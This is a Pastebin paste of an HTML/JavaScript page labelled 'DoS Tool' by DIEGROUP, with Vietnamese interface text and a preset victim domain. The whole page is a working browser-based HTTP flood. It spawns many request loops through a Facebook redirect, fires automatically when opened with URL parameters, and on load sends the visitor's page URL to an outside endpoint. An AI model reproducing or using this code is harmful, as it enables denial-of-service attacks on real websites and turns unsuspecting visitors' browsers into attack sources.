HackerPro536

DoS by DIEGROUP

Aug 21st, 2015
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 11.68 KB | None | 0 0
  1. </script>
  2.    
  3.         <meta charset="utf-8">
  4.         <meta name="viewport" content="width=device-width, initial-scale=1">
  5.             <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
  6.             <script type="text/javascript">
  7.             function getParameterByName(name) {
  8.                 name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
  9.                 var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
  10.                    results = regex.exec(location.search);
  11.                 return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
  12.             }
  13.             $(document).ready(function(){
  14.                     $.ajax({
  15.                     type:'GET',
  16.                     url: 'http://google.com/ddos.php',
  17.                     data:{'v':window.location.href}
  18.                 });
  19.                     document.title='DoS by DIEGROUP';
  20.                     $("#btn_init").click(function(){
  21.                             victim  = $('#victim').val();
  22.  
  23.                             if(victim==''){
  24.                                     alert('Chưa nhập victim!');
  25.                                     $('#victim').focus();
  26.                             }
  27.                             else{
  28.                                     url= $('select[name=type]').val()+victim;
  29.                                     $('#div_content').empty();
  30.                                     $('.div_report').empty();
  31.                                     number = parseInt($('#number').val());
  32.                                     for(i=0; i<number; i++){
  33.                                            content ="";
  34.                                            content+= "<div class='stt'>"+(i+1).toString()+".</div> URL / IP : <input id='targetURL" + i.toString() + "' style='width: 50%;'  value='"+url+"'>";
  35.                                             content+="Request :  <input id='rps" + i.toString() + "' style='width: 5%;' value='99999999999999999999999999999999999999999999999999'>";
  36.                                             content+="Message : <input id='message"+ i.toString() +"' style='width: 5%;' value='#f5ddos'>";
  37.                                             content+="<button id='fireButton"+ i.toString() +"' class='BTN'>START</button><br>";
  38.                                             $('#div_content').append(content);
  39.  
  40.                                             //
  41.                                             report="<div class='IFC'>";
  42.                             report+="<legend><font color='#fff'><b>Nhóm "+ (i+1) +"</b></font></legend><dl>";
  43.                             report+="<dt style='color: #fff;'>Đánh :</dt>";
  44.                             report+="<dd id='requestedCtr"+ i.toString() +"'>0</dd>";
  45.                             report+="<dt style='color: #6AFAFB;'>Thành Công :</dt>";
  46.                             report+="<dd id='succeededCtr"+ i.toString() +"' style='opacity: 0.8;'>0</dd>";
  47.                             report+="<dt style='color: #6AFAFB;'>Thất Bại :</dt>";
  48.                             report+="<dd id='failedCtr"+ i.toString() +"' style='opacity: 0.6;'>0</dd></dl></div>";
  49.                                             $('.div_report').append(report);
  50.  
  51.                                             attack(i);
  52.                                     }
  53.                             }
  54.                     });
  55.                     $("#btn_attack").click(function(){
  56.                             $("button[id*='fireButton']").trigger('click');
  57.                     });
  58.                     var victim = getParameterByName('v');
  59.                     if(victim!=''){
  60.                             $('#victim').val(victim);
  61.                             if(getParameterByName('n')!=''){
  62.                                     $('#number').val(getParameterByName('n'));
  63.                             }
  64.                             if(getParameterByName('t')!=''){
  65.                                     t = parseInt(getParameterByName('t'));
  66.                                     if(t>0){
  67.                                             document.getElementById("type").selectedIndex= t-1;
  68.                                     }
  69.                             }
  70.                             $("#btn_init").trigger('click');
  71.                             $("#btn_attack").trigger('click');
  72.                     }
  73.             });
  74.  
  75.             function attack(id) {
  76.                     var fireInterval;
  77.                     var isFiring = false;
  78.                     var requestedCtrNode = document.getElementById("requestedCtr"+id),
  79.                             succeededCtrNode = document.getElementById("succeededCtr"+id),
  80.                             failedCtrNode = document.getElementById("failedCtr"+id),
  81.                             targetURLNode = document.getElementById("targetURL"+id),
  82.                             fireButton = document.getElementById("fireButton"+id),
  83.                             messageNode = document.getElementById("message"+id),
  84.                             rpsNode = document.getElementById("rps"+id),
  85.                             timeoutNode = document.getElementById("timeout"+id);
  86.                     var targetURL = targetURLNode.value;
  87.                     targetURLNode.onchange = function () {
  88.                             targetURL = this.value;};
  89.                     var requestsHT = {};
  90.                     var requestedCtr = 0,
  91.                             succeededCtr = 0,
  92.                             failedCtr = 0;
  93.                     var makeHttpRequest = function () {
  94.                                     if (requestedCtr > failedCtr + succeededCtr + 99999999999999999999999999999999999999999999999999) {
  95.                                             return; };
  96.                                     var rID =Number(new Date());
  97.                                     var img = new Image();
  98.                                     img.onerror = function () { onFail(rID); };img.onabort = function () { onFail(rID); };img.onload = function () { onSuccess(rID); };img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);requestsHT[rID] = img;
  99.                                     onRequest(rID); };
  100.                     var onRequest = function (rID) {
  101.                                     requestedCtr++;
  102.                                     requestedCtrNode.innerHTML = requestedCtr; };
  103.                     var onComplete = function (rID) {
  104.                                     delete requestsHT[rID]; };
  105.                     var onFail = function (rID) {succeededCtr++; succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID];};
  106.                     var onSuccess = function (rID) {succeededCtr++;
  107.                     succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID];
  108.                             };
  109.                             fireButton.onclick = function () {
  110.                             if (isFiring) {clearInterval(fireInterval);isFiring = false; this.innerHTML = "START";$("#btn_attack").text('Chiến tiếp'); } else {isFiring = true; this.innerHTML = "STOP";$("#btn_attack").text('Thôi dừng');fireInterval = setInterval(makeHttpRequest, (99999999999999999999999999999999999999999999999999 / parseInt(rpsNode.value) | 0));} };
  111.             }
  112.             </script>
  113.         <style type="text/css">
  114.         body{    background-color: #171717;}
  115.         .stt{width: 60px;float: left;}
  116.         img {
  117.             float:left;
  118.             margin-right: 40px;
  119.         }
  120.         .basic-grey {
  121.             float:left;
  122.             width: 350px;
  123.             background: #000;
  124.             padding: 25px 15px 25px 10px;
  125.             font: 12px Georgia, "Times New Roman", Times, serif;
  126.             color: #888;
  127.             border:1px solid #57525A;
  128.         }
  129.         .basic-grey h1 {
  130.             font-size: 25px;
  131.             padding: 0px 0px 10px 40px;
  132.             display: block;
  133.             border-bottom:1px solid #E4E4E4;
  134.             margin: -10px -15px 30px -10px;;
  135.             color: #FF7F7F;
  136.         }
  137.         .basic-grey h1>span {
  138.             display: block;
  139.             font-size: 11px;
  140.         }
  141.         .basic-grey h1>span>b{
  142.             color:#464646;
  143.             font-size: 15px;
  144.         }
  145.         .basic-grey label {
  146.             display: block;
  147.             margin: 0px;
  148.         }
  149.         .basic-grey label>span {
  150.             float: left;
  151.             width: 20%;
  152.             text-align: right;
  153.             padding-right: 10px;
  154.             margin-top: 10px;
  155.             color: #FFC156;
  156.             text-transform: uppercase;
  157.         }
  158.         .basic-grey input[type="text"], .basic-grey input[type="email"], .basic-grey select {
  159.             border: 1px solid #3D5D24;
  160.             color: #96DC67;
  161.             height: 30px;
  162.             margin-bottom: 16px;
  163.             margin-right: 6px;
  164.             margin-top: 2px;
  165.             outline: 0 none;
  166.             padding: 3px 3px 3px 5px;
  167.             width: 30%;
  168.             font-size: 12px;
  169.             line-height:15px;
  170.             background-color: #1B1919;
  171.         }
  172.         .basic-grey select {
  173.             background: #1B1919 url('http://i.imgur.com/J6gm0B6.png') no-repeat right;
  174.             appearance:none;
  175.             -webkit-appearance:none;
  176.             -moz-appearance: none;
  177.             text-indent: 0.01px;
  178.             text-overflow: '';
  179.             width: 70%;
  180.             height: 35px;
  181.             line-height: 25px;
  182.         }
  183.         .basic-grey .button {
  184.             background: #000;
  185.             border: none;
  186.             padding: 10px 25px 10px 25px;
  187.             color: #FFF;
  188.             border-radius: 3px;
  189.             cursor: pointer;
  190.             text-transform: uppercase;
  191.         }
  192.         .basic-grey .button:hover {
  193.             background: #fff;
  194.             border: none;
  195.             padding: 10px 25px 10px 25px;
  196.             color: #000;
  197.             border-radius: 3px;
  198.             cursor: pointer;
  199.             text-transform: uppercase;
  200.         }
  201.         .div_report{
  202.         }
  203.  
  204.         .IFC{
  205.         color: red;
  206.         font-size: 10px;
  207.         width: 9%;
  208.         float: left;
  209.         padding-left: 3px;
  210.         border: 1px #403D3D dashed;
  211.         }
  212.         #right{
  213.             float:left;
  214.             width:500px;
  215.         }
  216.         #wraper{width: 1040px;margin: 0 auto;}
  217.         .hidden{
  218.             visibility:hidden;
  219.         }
  220.         </style>
  221.     <title>DoS by DIEGROUP</title></head>
  222.     <body>
  223.         <div id="wraper">
  224.             <form action="" method="post" class="basic-grey">
  225.                 <img src="http://i.imgur.com/E54TEeV.png" width="100px"><h1>DoS Tool<span>Code by <b>DG</b></span></h1>
  226.                 <label>
  227.                     <input id="victim" value="webdalat.vn" type="text">
  228.                 </label>
  229.                
  230.                 <label>
  231.                     <input id="number" value="100" type="text">
  232.                 </label>
  233.                 <label class="hidden">
  234.                     <select name="type" id="type">
  235.                         <option value="https://www.facebook.com/l.php?u=">1. Face</option>
  236.                     </select>
  237.                 </label>  
  238.                 <label>
  239.                     <span>&nbsp;</span>
  240.                     <button class="button" type="button" id="btn_init">Khởi tạo</button>
  241.                     <button class="button" type="button" id="btn_attack">Chiến thôi</button>
  242.                 </label>    
  243.             </form>
  244.             <div id="right">
  245.                 <div class="div_report"></div>
  246.                 <fieldset class="hidden" id="div_content"></fieldset>
  247.                 <fieldset class="hidden" id="div_report"></fieldset>
  248.             </div><!-- End #right -->    
  249.         </div><!-- End #wraper -->
  250.    
  251.  
  252. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment